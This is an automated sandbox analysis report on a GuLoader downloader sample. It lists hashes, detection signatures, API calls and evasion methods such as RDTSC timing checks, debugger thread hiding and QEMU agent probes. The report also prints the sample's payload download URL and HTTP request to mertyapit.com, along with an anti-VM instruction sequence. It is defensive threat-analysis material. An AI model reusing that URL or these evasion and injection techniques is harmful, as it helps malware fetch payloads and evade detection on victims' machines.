Play interactive tour

Edit tour

Analysis Report SecuriteInfo.com.Mal.Generic-S.24480.13627

Overview

General Information

Sample Name:	SecuriteInfo.com.Mal.Generic-S.24480.13627 (renamed file extension from 13627 to exe)
Analysis ID:	395385
MD5:	fe81c0cdf996335c5d5a6f75b564da51
SHA1:	389709fb8a2845f373c82ff74f9478d11b115326
SHA256:	c4c6dc5465aa1676119c00c0b45c0f3be1d525e31eff1d87072952f839e5cbf9
Tags:	GuLoader
Infos:
Most interesting Screenshot:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Potential malicious icon found

Yara detected Generic Dropper

Yara detected GuLoader

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Contains functionality to hide a thread from the debugger

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Hides threads from debuggers

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Yara detected VB6 Downloader Generic

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains strange resources

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sleep loop found (likely to delay execution)

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

SecuriteInfo.com.Mal.Generic-S.24480.exe (PID: 5948 cmdline: 'C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe' MD5: FE81C0CDF996335C5D5A6F75B564DA51)

SecuriteInfo.com.Mal.Generic-S.24480.exe (PID: 6412 cmdline: 'C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe' MD5: FE81C0CDF996335C5D5A6F75B564DA51)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: SecuriteInfo.com.Mal.Generic-S.24480.exe PID: 5948	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: SecuriteInfo.com.Mal.Generic-S.24480.exe PID: 5948	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: SecuriteInfo.com.Mal.Generic-S.24480.exe PID: 6412	JoeSecurity_GenericDropper	Yara detected Generic Dropper	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://mertyapit.com/abcd/lndb_isQxc208.bin

Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Show sources

Source: SecuriteInfo.com.Mal.Generic-S.24480.exe	Virustotal: Detection: 27%			Perma Link
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe	ReversingLabs: Detection: 21%

Source: SecuriteInfo.com.Mal.Generic-S.24480.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source:	Binary string: wntdll.pdbUGP source: SecuriteInfo.com.Mal.Generic-S.24480.exe, 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: SecuriteInfo.com.Mal.Generic-S.24480.exe

Source: global traffic

HTTP traffic detected: GET /abcd/lndb_isQxc208.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: mertyapit.comCache-Control: no-cache

Source: global traffic

HTTP traffic detected: GET /abcd/lndb_isQxc208.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: mertyapit.comCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: mertyapit.com

Source: SecuriteInfo.com.Mal.Generic-S.24480.exe, 00000009.00000002.473792739.0000000000803000.00000004.00000020.sdmp	String found in binary or memory: http://mertyapit.com/abcd/lndb_isQxc208.bin
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe	String found in binary or memory: http://s.symcd.com06
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe	String found in binary or memory: https://d.symcb.com/cps0%
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe	String found in binary or memory: https://d.symcb.com/rpa0
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe	String found in binary or memory: https://d.symcb.com/rpa0.

Source: SecuriteInfo.com.Mal.Generic-S.24480.exe, 00000000.00000002.288764668.000000000075A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

Potential malicious icon found

Show sources

Source: initial sample

Icon embedded in PE file: bad icon match: 20047c7c70f0e004

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe

Process Stats: CPU usage > 98%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_0215045A EnumWindows,NtSetInformationThread,	0_2_0215045A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02154CD0 NtProtectVirtualMemory,	0_2_02154CD0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02155133 NtResumeThread,	0_2_02155133
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02151F46 NtWriteVirtualMemory,	0_2_02151F46
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_021525A9 NtSetInformationThread,	0_2_021525A9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_0215520A NtResumeThread,	0_2_0215520A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02150E3E NtWriteVirtualMemory,	0_2_02150E3E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02151424 NtSetInformationThread,	0_2_02151424
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_0215522E NtResumeThread,	0_2_0215522E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02155256 NtResumeThread,	0_2_02155256
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02151E46 NtSetInformationThread,	0_2_02151E46
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02152066 NtWriteVirtualMemory,	0_2_02152066
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_0215528B NtResumeThread,	0_2_0215528B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_021504B9 NtSetInformationThread,	0_2_021504B9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_021552AE NtResumeThread,	0_2_021552AE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_021544DC NtSetInformationThread,	0_2_021544DC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_021534DA NtWriteVirtualMemory,	0_2_021534DA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_021552DA NtResumeThread,	0_2_021552DA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_021522C2 NtWriteVirtualMemory,	0_2_021522C2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02153CF1 NtSetInformationThread,	0_2_02153CF1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02150512 NtSetInformationThread,	0_2_02150512
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02152B03 NtWriteVirtualMemory,	0_2_02152B03
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_0215532A NtResumeThread,	0_2_0215532A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02151F72 NtWriteVirtualMemory,	0_2_02151F72
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02150D7C NtWriteVirtualMemory,	0_2_02150D7C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02155167 NtResumeThread,	0_2_02155167
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02152182 NtWriteVirtualMemory,	0_2_02152182
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_021551B6 NtResumeThread,	0_2_021551B6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02152DAC NtWriteVirtualMemory,	0_2_02152DAC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_021553C2 NtResumeThread,	0_2_021553C2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_021521FE NtWriteVirtualMemory,	0_2_021521FE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_021551E3 NtResumeThread,	0_2_021551E3
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_02151FEA NtWriteVirtualMemory,	0_2_02151FEA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139660 NtAllocateVirtualMemory,LdrInitializeThunk,	9_2_1E139660
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1396E0 NtFreeVirtualMemory,LdrInitializeThunk,	9_2_1E1396E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139860 NtQuerySystemInformation,LdrInitializeThunk,	9_2_1E139860
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139610 NtEnumerateValueKey,	9_2_1E139610
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139650 NtQueryValueKey,	9_2_1E139650
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139670 NtQueryInformationProcess,	9_2_1E139670
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1396D0 NtCreateKey,	9_2_1E1396D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E13A710 NtOpenProcessToken,	9_2_1E13A710
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139710 NtQueryInformationToken,	9_2_1E139710
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139730 NtQueryVirtualMemory,	9_2_1E139730
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E13A770 NtOpenThread,	9_2_1E13A770
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139770 NtSetInformationFile,	9_2_1E139770
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139760 NtOpenProcess,	9_2_1E139760
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139780 NtMapViewOfSection,	9_2_1E139780
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1397A0 NtUnmapViewOfSection,	9_2_1E1397A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139FE0 NtCreateMutant,	9_2_1E139FE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E13AD30 NtSetContextThread,	9_2_1E13AD30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139520 NtWaitForSingleObject,	9_2_1E139520
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139540 NtReadFile,	9_2_1E139540
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139560 NtWriteFile,	9_2_1E139560
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1395D0 NtClose,	9_2_1E1395D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1395F0 NtQueryInformationFile,	9_2_1E1395F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139A10 NtQuerySection,	9_2_1E139A10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139A00 NtProtectVirtualMemory,	9_2_1E139A00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139A20 NtResumeThread,	9_2_1E139A20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139A50 NtCreateFile,	9_2_1E139A50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139A80 NtOpenDirectoryObject,	9_2_1E139A80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139B00 NtSetValueKey,	9_2_1E139B00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E13A3B0 NtGetContextThread,	9_2_1E13A3B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139820 NtEnumerateKey,	9_2_1E139820
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E13B040 NtSuspendThread,	9_2_1E13B040
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139840 NtDelayExecution,	9_2_1E139840
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1398A0 NtWriteVirtualMemory,	9_2_1E1398A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1398F0 NtReadVirtualMemory,	9_2_1E1398F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139910 NtAdjustPrivilegesToken,	9_2_1E139910
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E139950 NtQueueApcThread,	9_2_1E139950
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1399A0 NtCreateSection,	9_2_1E1399A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1399D0 NtCreateProcessEx,	9_2_1E1399D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_00565571 NtProtectVirtualMemory,	9_2_00565571
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_00565676 Sleep,NtProtectVirtualMemory,	9_2_00565676
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_00565568 NtProtectVirtualMemory,	9_2_00565568
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_00565586 NtProtectVirtualMemory,	9_2_00565586
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_00565606 NtProtectVirtualMemory,	9_2_00565606
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_005656F2 NtProtectVirtualMemory,	9_2_005656F2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E116E30	9_2_1E116E30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C2EF7	9_2_1E1C2EF7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C1FF1	9_2_1E1C1FF1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E10841F	9_2_1E10841F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1BD466	9_2_1E1BD466
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C2D07	9_2_1E1C2D07
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0F0D20	9_2_1E0F0D20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C1D55	9_2_1E1C1D55
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E122581	9_2_1E122581
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C25DD	9_2_1E1C25DD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E10D5E0	9_2_1E10D5E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C22AE	9_2_1E1C22AE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C2B28	9_2_1E1C2B28
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E12EBB0	9_2_1E12EBB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1BDBD2	9_2_1E1BDBD2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1B1002	9_2_1E1B1002
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E10B090	9_2_1E10B090
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1220A0	9_2_1E1220A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C20A8	9_2_1E1C20A8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E1C28EC	9_2_1E1C28EC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E0FF900	9_2_1E0FF900
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E114120	9_2_1E114120

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe

Code function: String function: 1E0FB150 appears 35 times

Source: SecuriteInfo.com.Mal.Generic-S.24480.exe

Static PE information: invalid certificate

Source: SecuriteInfo.com.Mal.Generic-S.24480.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: SecuriteInfo.com.Mal.Generic-S.24480.exe, 00000000.00000000.204466221.0000000000425000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamecoalman.exe vs SecuriteInfo.com.Mal.Generic-S.24480.exe
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe, 00000000.00000002.288733810.0000000000710000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameuser32j% vs SecuriteInfo.com.Mal.Generic-S.24480.exe
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe, 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SecuriteInfo.com.Mal.Generic-S.24480.exe
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe, 00000009.00000000.287051128.0000000000425000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamecoalman.exe vs SecuriteInfo.com.Mal.Generic-S.24480.exe
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe, 00000009.00000002.478927864.000000001DC50000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemswsock.dll.muij% vs SecuriteInfo.com.Mal.Generic-S.24480.exe
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe	Binary or memory string: OriginalFilenamecoalman.exe vs SecuriteInfo.com.Mal.Generic-S.24480.exe

Source: SecuriteInfo.com.Mal.Generic-S.24480.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@3/0@1/1

Source: SecuriteInfo.com.Mal.Generic-S.24480.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: SecuriteInfo.com.Mal.Generic-S.24480.exe	Virustotal: Detection: 27%
Source: SecuriteInfo.com.Mal.Generic-S.24480.exe	ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe'
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe'
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe'	Jump to behavior

Source:	Binary string: wntdll.pdbUGP source: SecuriteInfo.com.Mal.Generic-S.24480.exe, 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: SecuriteInfo.com.Mal.Generic-S.24480.exe

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Mal.Generic-S.24480.exe PID: 5948, type: MEMORY

Yara detected VB6 Downloader Generic

Show sources

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Mal.Generic-S.24480.exe PID: 5948, type: MEMORY

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_00401710 push es; iretd	0_2_00401927
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_004068C3 push eax; iretd	0_2_004068C9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_00408B71 push ebx; retf	0_2_00408B72
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_00409330 push edi; iretd	0_2_00409355
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 0_2_004059C4 push eax; iretd	0_2_004059C5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Code function: 9_2_1E14D0D1 push ecx; ret	9_2_1E14D0E4

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe

Code function: 0_2_02150EF9

0_2_02150EF9

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	RDTSC instruction interceptor: First address: 0000000002153E6F second address: 0000000002153E6F instructions:
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	RDTSC instruction interceptor: First address: 0000000002154386 second address: 0000000002154386 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007F96C0E04AF8h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d add edi, edx 0x0000001f test ah, dh 0x00000021 dec dword ptr [ebp+000000F8h] 0x00000027 cmp dword ptr [ebp+000000F8h], 00000000h 0x0000002e jne 00007F96C0E04AA4h 0x00000030 jmp 00007F96C0E04B1Eh 0x00000032 test ecx, 2C8794B1h 0x00000038 cmp bl, bl 0x0000003a call 00007F96C0E04B17h 0x0000003f call 00007F96C0E04B08h 0x00000044 lfence 0x00000047 mov edx, dword ptr [7FFE0014h] 0x0000004d lfence 0x00000050 ret 0x00000051 mov esi, edx 0x00000053 pushad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	RDTSC instruction interceptor: First address: 0000000000564089 second address: 0000000000564089 instructions:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Mal.Generic-S.24480.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: SecuriteInfo.com.Mal.Generic-S.24480.exe

